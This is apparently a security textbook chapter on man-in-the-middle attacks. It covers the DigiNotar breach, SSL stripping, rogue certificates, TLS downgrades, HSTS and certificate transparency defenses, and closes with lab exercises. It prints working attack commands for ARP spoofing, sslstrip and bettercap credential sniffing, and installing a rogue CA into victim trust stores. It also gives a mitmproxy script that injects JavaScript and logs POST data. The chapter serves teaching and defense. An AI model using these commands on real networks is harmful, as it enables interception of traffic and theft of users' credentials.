Man-in-the-Middle Attack Patterns
SSL stripping, certificate attacks, protocol downgrade, proxy attacks, and MITM defense strategies
Chapter 6: Man-in-the-Middle Attack Patterns
The DigiNotar Disaster
In late August 2011, an Iranian Gmail user noticed a certificate warningβand took the unusual step of investigating rather than clicking through. He posted to a Google forum, triggering an investigation that exposed one of the most damaging Certificate Authority compromises in history.
DigiNotar, a Dutch certificate authority, had been breached in June 2011, but didnβt detect the intrusion. Attackers issued over 500 fraudulent SSL certificatesβincluding one for *.google.comβthat were used to intercept Iranian citizensβ Gmail communications during politically sensitive times. For over a month, users in Iran thought they had secure, encrypted connections to Google, but their traffic was being intercepted, decrypted, read, and re-encrypted.
Fox-ITβs forensic investigation revealed DigiNotarβs security was severely lackingβno antivirus on critical servers, outdated software, and weak passwords. The compromise was catastrophic: within weeks, DigiNotarβs parent company (VASCO Data Security) wrote off the acquisition entirely. All major browsers revoked trust in DigiNotar certificates. The Dutch government, whose PKI-overheid certificates were also compromised, faced a crisis as government websites scrambled for replacements.
This incident exposed the fundamental weakness of the certificate authority system: we trust hundreds of CAs worldwide, and compromise of ANY ONE can enable man-in-the-middle attacks against ANY website. This chapter explores MITM attacks in depthβfrom basic interception to sophisticated certificate manipulation.
Understanding MITM Position
A Man-in-the-Middle (MITM) attack occurs when an attacker secretly positions themselves between two communicating parties, intercepting and potentially modifying their communications.
ManintheMiddle Position
Man-in-the-Middle Position:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
NORMAL COMMUNICATION:
Client βββββββββββββββββββββββββββββββββββββββββββββββββΊ Server
Direct, unintercepted connection
MITM POSITION:
Client βββββββββββββΊ Attacker βββββββββββββββββββββββββΊ Server
β β β
β Client thinks β Attacker can: β
β it's talking β β’ Read all traffic β
β to Server β β’ Modify traffic β
β β β’ Inject content β
β β β’ Steal credentials β
β β β
ββββββββββββββββββββββ΄ββββββββββββββββββββββββββββββββββ
Both sides unaware of interception
Achieving MITM Position
| Method | Layer | Description | Prerequisites |
|---|---|---|---|
| ARP Spoofing | 2 | Poison ARP cache | Same LAN segment |
| DNS Spoofing | 7 | Return fake DNS responses | DNS access/poisoning |
| DHCP Spoofing | 7 | Become rogue DHCP server | Same LAN segment |
| BGP Hijacking | 3 | Announce victimβs routes | BGP peering |
| WiFi Evil Twin | 1 | Create fake access point | Physical proximity |
| Physical Tap | 1 | Hardware interception | Physical access |
| Compromised Router | 3 | Control network device | Router access |
| Rogue Proxy | 7 | Malicious proxy server | Proxy configuration |
MITRE ATT&CK Reference
MITM attacks map to:
- T1557 - Adversary-in-the-Middle
- T1557.001 - LLMNR/NBT-NS Poisoning
- T1557.002 - ARP Cache Poisoning
- T1557.003 - DHCP Spoofing
- T1040 - Network Sniffing
SSL/TLS Interception Challenges
TLS encryption should prevent MITM attacks, but attackers have developed techniques to circumvent it.
TLS Protection (When Working Correctly)
TLS Protection (When Working Correctly):
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Client Server
β β
βββββ ClientHello ββββββββββββββββββββββββββββββββββββΊβ
β β
βββββ ServerHello + Certificate βββββββββββββββββββββββ
β β
β Client VALIDATES: β
β Certificate signed by trusted CA β
β Certificate matches requested hostname β
β Certificate not expired β
β Certificate not revoked β
β β
βββββ Key Exchange βββββββββββββββββββββββββββββββββββΊβ
β β
ββββββ ENCRYPTED SESSION βββββββββββββββββββββββββββββΊβ
β Attacker sees only ciphertext β
Even with MITM position, attacker can't decrypt
without breaking certificate validation
Breaking TLS: Attack Vectors
| Attack | Target | Outcome |
|---|---|---|
| SSL Stripping | HTTPβHTTPS redirect | Downgrade to unencrypted |
| Fake Certificate | Certificate validation | Present attackerβs cert |
| CA Compromise | Trusted CA | Issue legitimate-looking certs |
| Certificate Pinning Bypass | App pinning | Attack pinned apps |
| Protocol Downgrade | TLS version | Force weaker crypto |
SSL Stripping Attack
Attack Overview
SSL stripping intercepts the HTTPβHTTPS redirect and keeps the client on HTTP while maintaining HTTPS to the server.
SSL Stripping Attack
SSL Stripping Attack:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
NORMAL BEHAVIOR:
1. User types: bank.com (no https://)
2. Browser: GET http://bank.com
3. Server: 301 Redirect to https://bank.com
4. Browser: GET https://bank.com
5. Secure connection established
SSL STRIPPING:
1. User types: bank.com
2. Browser: GET http://bank.com
3. ATTACKER intercepts
4. ATTACKER connects to https://bank.com (secure)
5. ATTACKER responds to victim with http:// version
User βββββ HTTP (cleartext) βββββΊ Attacker βββββ HTTPS βββββΊ Bank
β
βββ Attacker sees/modifies all!
User thinks: "I'm on bank.com" (no lock icon, but often ignored)
Reality: Credentials sent in cleartext through attacker
Practical Implementation
Using sslstrip:
# Step 1: Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Step 2: ARP spoof to get MITM position
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1 &
arpspoof -i eth0 -t 192.168.1.1 192.168.1.100 &
# Step 3: Redirect HTTP traffic to sslstrip
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
# Step 4: Run sslstrip
sslstrip -l 8080
# Captured credentials appear in sslstrip.log
tail -f sslstrip.log
Using Bettercap:
# Modern, all-in-one approach
sudo bettercap -iface eth0
# Enable MITM modules
Β» set arp.spoof.targets 192.168.1.100
Β» set arp.spoof.fullduplex true
Β» arp.spoof on
# Enable SSL stripping
Β» set http.proxy.sslstrip true
Β» http.proxy on
# Sniff credentials
Β» net.sniff on
Modern Defenses Against SSL Stripping
HSTS (HTTP Strict Transport Security):
HSTS Response Header
HSTS Response Header:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Server sends:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Browser behavior:
1. Records "this domain is HTTPS-only"
2. Future requests automatically upgraded to HTTPS
3. BEFORE any HTTP request is made
4. SSL stripping can't intercept the upgrade
LIMITATION: First visit is still vulnerable
SOLUTION: HSTS Preload list (built into browsers)
Checking HSTS Preload:
# Check if domain is preloaded
curl -I https://hstspreload.org/api/v2/status?domain=google.com
# Submit for preloading
# https://hstspreload.org
Certificate Attacks
Self-Signed Certificate Attack
Simplest TLS MITM: present a self-signed certificate and hope user clicks through warnings.
SelfSigned Certificate Attack
Self-Signed Certificate Attack:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
User βββββ TLS with attacker cert βββββΊ Attacker βββββ TLS βββββΊ Server
β
βββ Certificate warning!
"Your connection is not private"
Most users: Click "Advanced" β "Proceed anyway"
Result: Attacker decrypts, inspects, re-encrypts all traffic
Generating Attack Certificate:
# Generate self-signed certificate for target domain
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 \
-nodes -subj "/CN=www.targetbank.com"
# Use with mitmproxy
mitmproxy --mode transparent --ssl-insecure \
--certs *=cert.pem
Installing Rogue CA
More sophisticated: install attackerβs CA certificate on victimβs system.
Rogue CA Attack
Rogue CA Attack:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
1. Create attacker CA:
openssl genrsa -out ca.key 4096
openssl req -x509 -new -nodes -key ca.key -sha256 -days 1024 -out ca.crt
2. Install CA on victim's machine (requires access):
- Windows: certutil -addstore "Root" ca.crt
- macOS: security add-trusted-cert -d -r trustRoot ca.crt
- Linux: cp ca.crt /usr/local/share/ca-certificates/ && update-ca-certificates
3. Generate certificates signed by attacker CA on-the-fly
4. Browser trusts attacker-signed certificates!
No warnings, user sees valid lock icon
Attack vectors for installing rogue CA:
- Malware payload
- Physical access to device
- Social engineering ("install this security certificate")
- Corporate MITM (legitimate but monitored)
Certificate Transparency
Certificate Transparency (CT) creates public logs of all certificates, making rogue certificates detectable.
Certificate Transparency
Certificate Transparency:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
BEFORE CT:
CA issues certificate β No public record
Rogue certificate could exist undetected
WITH CT:
CA issues certificate β Must submit to CT logs β Public record
Anyone can monitor for unexpected certificates
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β CT Log Servers β
β β
β All certificates for your domain: β
β - Issued by: DigiCert, 2024-01-15 (legitimate) β
β - Issued by: Let's Encrypt, 2024-03-01 (legitimate) β
β - Issued by: Unknown CA, 2024-04-10 (SUSPICIOUS!) β
β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Monitor your domains: https://crt.sh/?q=%25.yourdomain.com
Monitoring CT Logs:
# Search CT logs for your domain
curl "https://crt.sh/?q=%25.example.com&output=json" | jq .
# Set up monitoring with certspotter
# https://sslmate.com/certspotter/
# Facebook CT monitoring
# https://developers.facebook.com/tools/ct/
Protocol Downgrade Attacks
TLS Downgrade
Force weaker TLS version to exploit known vulnerabilities.
TLS Downgrade Attack
TLS Downgrade Attack:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
NORMAL NEGOTIATION:
Client: "I support TLS 1.3, 1.2, 1.1"
Server: "Let's use TLS 1.3"
(Secure)
DOWNGRADE ATTACK:
Client: "I support TLS 1.3, 1.2, 1.1"
Attacker modifies to: "I only support TLS 1.0"
Server: "OK, TLS 1.0" (vulnerable to BEAST, POODLE, etc.)
PROTECTION:
TLS 1.3 includes downgrade protection:
- Server random ends with specific bytes if downgrading
- Client detects and aborts
POODLE Attack (SSL 3.0)
Padding Oracle On Downgraded Legacy Encryptionβexploits SSL 3.0βs padding.
# Test for SSL 3.0 support (shouldn't exist anymore)
openssl s_client -connect target.com:443 -ssl3
# If connection succeeds, vulnerable to POODLE
# Mitigation: Disable SSL 3.0 server-side
# Nginx:
ssl_protocols TLSv1.2 TLSv1.3;
DROWN Attack (SSLv2)
Decrypting RSA with Obsolete and Weakened eNcryptionβuses SSLv2 to attack TLS.
# Test for SSLv2 (or shared keys with SSLv2 server)
# Even if YOUR server doesn't support SSLv2,
# if private key is used on ANY server with SSLv2, vulnerable
# Scan with testssl.sh
testssl.sh --drown target.com:443
MITM Tool Comparison
Popular MITM Frameworks
| Tool | Strengths | Best For |
|---|---|---|
| Bettercap | Modern, scriptable, active development | General MITM |
| mitmproxy | Excellent HTTP inspection, Python API | Web traffic analysis |
| Ettercap | Plugin architecture, GUI available | Classic MITM |
| SSLsplit | Transparent SSL interception | SSL forensics |
| Burp Suite | Web app testing, extensive features | Web security testing |
mitmproxy Deep Dive
# Install mitmproxy
pip install mitmproxy
# Basic transparent proxy
mitmproxy --mode transparent
# With SSL interception (requires CA installed)
mitmproxy --mode transparent --ssl-insecure
# Scripted manipulation
mitmproxy -s modify_traffic.py
Traffic modification script:
# modify_traffic.py
from mitmproxy import http
def response(flow: http.HTTPFlow) -> None:
"""Modify HTTP responses"""
# Inject JavaScript into HTML pages
if flow.response and "text/html" in flow.response.headers.get("content-type", ""):
flow.response.text = flow.response.text.replace(
"</body>",
'<script>alert("Injected!")</script></body>'
)
# Log credentials
if flow.request.method == "POST":
print(f"POST to {flow.request.url}")
print(f"Data: {flow.request.text}")
def request(flow: http.HTTPFlow) -> None:
"""Modify HTTP requests"""
# Strip security headers
if "X-Frame-Options" in flow.request.headers:
del flow.request.headers["X-Frame-Options"]
HSTS Bypass Techniques
HSTS Limitations
HSTS Bypass Scenarios
HSTS Bypass Scenarios:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
1. FIRST-TIME VISITOR:
- No HSTS header received yet
- First connection can be stripped
- Solution: HSTS Preload list
2. NEW SUBDOMAIN:
- HSTS may not include subdomains
- Attack: mail.bank.com instead of www.bank.com
- Solution: includeSubDomains directive
3. EXPIRED HSTS:
- max-age has passed since last visit
- Solution: Long max-age, preload
4. SIMILAR DOMAIN:
- HSTS only protects exact domain
- Attack: www.bank-secure.com instead of www.bank.com
- Solution: User awareness
SSLStrip2/LeonardoNve Bypass
# Replace HTTPS links with similar-looking HTTP domains
# www.facebook.com β wwww.facebook.com (extra w)
# Bank.com β bank.corn (using 'rn' for 'm')
# The bypass domain resolves to attacker
# Attacker serves HTTP (no HSTS because different domain)
Defending Against MITM
Server-Side Defenses
# Nginx - Complete TLS hardening
server {
listen 443 ssl http2;
# Strong TLS configuration
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
ssl_prefer_server_ciphers off;
# HSTS
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
# Prevent downgrade attacks
ssl_session_tickets off;
# OCSP Stapling
ssl_stapling on;
ssl_stapling_verify on;
}
Client-Side Defenses
Certificate Pinning (Mobile Apps):
// iOS - Certificate Pinning Example
let pinnedCertificates: [SecCertificate] = loadPinnedCertificates()
func urlSession(_ session: URLSession,
didReceive challenge: URLAuthenticationChallenge,
completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void) {
guard let serverTrust = challenge.protectionSpace.serverTrust,
let serverCertificate = SecTrustGetCertificateAtIndex(serverTrust, 0) else {
completionHandler(.cancelAuthenticationChallenge, nil)
return
}
// Compare server certificate with pinned certificates
if pinnedCertificates.contains(serverCertificate) {
completionHandler(.useCredential, URLCredential(trust: serverTrust))
} else {
completionHandler(.cancelAuthenticationChallenge, nil)
}
}
Network Defenses
# Detect ARP spoofing
sudo arpwatch -i eth0
# Static ARP entries for critical hosts
arp -s gateway_ip gateway_mac
# Enable DAI on switches (see Chapter 2)
MITM Detection
Client-Side Detection
# Check certificate details
echo | openssl s_client -connect google.com:443 2>/dev/null | openssl x509 -noout -issuer -subject
# Expected: Legitimate issuer
# Suspicious: Unknown issuer, self-signed
# Compare certificate fingerprints
echo | openssl s_client -connect google.com:443 2>/dev/null | \
openssl x509 -fingerprint -sha256 -noout
Network Detection
# Monitor for certificate changes
# Use tools like ssl-cert-check, certwatch
# IDS rules for suspicious TLS behavior
# - Self-signed certificates for known domains
# - Certificate errors
# - Unexpected CAs
Lab Exercise: MITM Attack and Defense
Objective
Understand MITM attacks by performing and detecting them in a controlled environment.
Environment
Lab Setup
Lab Setup:
βββ Attacker: Kali Linux (192.168.1.50)
βββ Victim: Ubuntu Desktop (192.168.1.100)
βββ Gateway: Router (192.168.1.1)
βββ Target: DVWA or custom web server (192.168.1.200)
βββ Network: Isolated lab VLAN
Exercise 1: SSL Stripping
# On Attacker:
# 1. Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# 2. Set up ARP spoofing
sudo bettercap -iface eth0
Β» set arp.spoof.targets 192.168.1.100
Β» arp.spoof on
# 3. Enable SSL stripping
Β» set http.proxy.sslstrip true
Β» http.proxy on
Β» net.sniff on
# On Victim:
# Browse to HTTP version of a site that redirects to HTTPS
# Observe that connection remains HTTP (no lock icon)
# On Attacker:
# Observe captured credentials in bettercap output
Exercise 2: Certificate Warning Analysis
# On Attacker:
# Use mitmproxy with self-signed cert
mitmproxy --mode transparent --ssl-insecure
# On Victim:
# Browse to HTTPS site
# Observe certificate warning
# Examine certificate details (issuer, subject)
Exercise 3: Detection
# On Victim:
# Monitor ARP table for changes
watch -n 1 'arp -a'
# Notice gateway MAC address changes
# Install arpwatch for automatic detection
sudo arpwatch -i eth0
Key Takeaways
-
MITM requires positioning firstβARP spoofing, DNS poisoning, or physical access
-
SSL stripping exploits the HTTPβHTTPS redirectβHSTS preloading is the defense
-
Certificate attacks range from fake certs to CA compromiseβCertificate Transparency enables detection
-
Protocol downgrade attacks force weaker cryptoβdisable legacy protocols
-
Defense is layered: HSTS, certificate pinning, CT monitoring, and network security controls
Self-Assessment
-
Comprehension: Why does HSTS preloading provide better protection than regular HSTS?
-
Application: An attacker has installed their CA certificate on a corporate laptop. What attacks are now possible, and how would you detect this?
-
What if: Youβre conducting a security assessment and achieve MITM position. The target uses certificate pinning. What are your options?
Review Questions
- Whatβs the difference between SSL stripping and a certificate attack?
- How does HSTS protect against SSL stripping, and what are its limitations?
- Explain how Certificate Transparency helps detect rogue certificates.
- What is required for a TLS downgrade attack to succeed?
- How does certificate pinning provide additional security beyond CA trust?
- What network controls help prevent MITM positioning?
MITRE ATT&CK Mapping
| Attack | Technique ID | Tactic |
|---|---|---|
| ARP Spoofing MITM | T1557.002 | Credential Access |
| SSL Stripping | T1557 | Credential Access |
| Rogue Certificate | T1557 | Credential Access |
| DNS Spoofing MITM | T1557.004 | Credential Access |
| Content Injection | T1659 | Execution |